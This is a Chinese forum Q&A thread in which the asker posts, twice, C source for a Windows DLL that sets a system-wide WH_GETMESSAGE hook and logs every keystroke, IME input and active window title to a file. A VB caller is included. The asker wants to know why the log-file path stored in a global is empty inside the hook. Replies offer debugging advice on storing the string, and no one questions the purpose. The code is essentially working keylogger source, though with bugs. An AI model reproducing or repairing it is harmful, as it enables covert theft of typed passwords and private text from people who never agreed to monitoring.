VC HOOK dll 全局变量值无法保存

Question

#include "windows.h"
#include "stdio.h"HHOOK        g_hHook         = NULL;       
HINSTANCE  g_hHinstance    = NULL;       
HWND  LastHwnd;char title[256];                            
char temptitle[256]="<标题："; 
char t[2]={0,0};
char *fpath;
void writefile(char *lpstr)
{
FILE* f1;; 
    f1=fopen(fpath,"a+");
    fwrite(fpath,strlen(fpath),1,f1);
    fclose(f1); //FILE* f1;
    //f1=fopen(lpstr,"a+");
    //fwrite(lpstr,strlen(lpstr),1,f1);
    //fclose(f1);
}void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256);  //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break;
writtitle();               
writefile(lpstr);          
ImmReleaseContext(hWnd, hIMC);
}
}
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126)           //可见字符
{ 
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }

            break;        }
    }
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
 
    return(lResult);
}
BOOL  __stdcall InstallHook(LPSTR  p)
{
fpath=p;
writefile(fpath);
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}
BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=HINSTANCE(hModule);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}导出函数
EXPORTS
    InstallHook
    UnHook我想通过VB将路径通过installHook传入dll中,传值能成功，fpath的值等于传进来的路径,但只能在installHook函数里面有效，Hook后,writefile函数里面的fpath值为空，无法创建文本，请高手指教是什么问题？

Answer 1

WH_GETMESSAGE要用sendmessage要在dllmain就是dll的入口函数这里sendmessage你的消息，这样你hook的进程中的窗体才能截获到你发送的消息你不过是调用了installhook来注入你的dll, 但是你dll中的全局线程钩子中的回调函数并没有被激发

Answer 2

我想在writefile函数里面的获取fpath的值，但是为空

Answer 3

BOOL __stdcall InstallHook(LPSTR p)
{
fpath=p;
writefile(fpath);

这里p是临时变量？之后到writefile函数里面时，这个p指向的内容已经不存在

Answer 4

不要直接用 fpath=p;这种形式，
直接用strcpy等类似函数把p指向的内容拷贝到一个全局数据组中

Answer 5

我试过，也保存不了呀，到了writefile函数就成空值了

Answer 6

char *fpath;  ===> char fpath[MAX_PATH];
fpath=p;      ===> strcpy(fpath, p);

Answer 7

#include "windows.h"
#include "stdio.h"HHOOK        g_hHook         = NULL;       
HINSTANCE  g_hHinstance    = NULL;       
HWND  LastHwnd;char title[256];              
char *ftemp;                
char temptitle[256]="<<标题："; 
char t[2]={0,0};     
char filepath;   
char fpath[255];
void writefile(char *lpstr)
{
FILE* f1;
    f1=fopen("C:\\66.txt","a+");
    fwrite(fpath,strlen(fpath),1,f1);
    fclose(f1);
}
void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256);  //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break; writtitle();               
writefile(lpstr);          
ImmReleaseContext(hWnd, hIMC);
}
}
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126)           //可见字符
{ 
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }

            break;        }
    }
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
 
    return(lResult);
}
BOOL  _stdcall  InstallHook(char *p)
{
strcpy(fpath,p);
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}
BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=HINSTANCE(hModule);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}
Private Declare Function InstallHook Lib "Hook.dll" (ByVal p As String) As Long
Private Declare Function UnHook Lib "Hook.dll" () As Long
Private Sub Command1_Click()
MsgBox InstallHook("测试内容123")End SubPrivate Sub Command2_Click()
   MsgBox UnHook
End Sub贴出了代码，到了writefile函数就成空值了,以上两种方法都试了，都不行，请高手指教。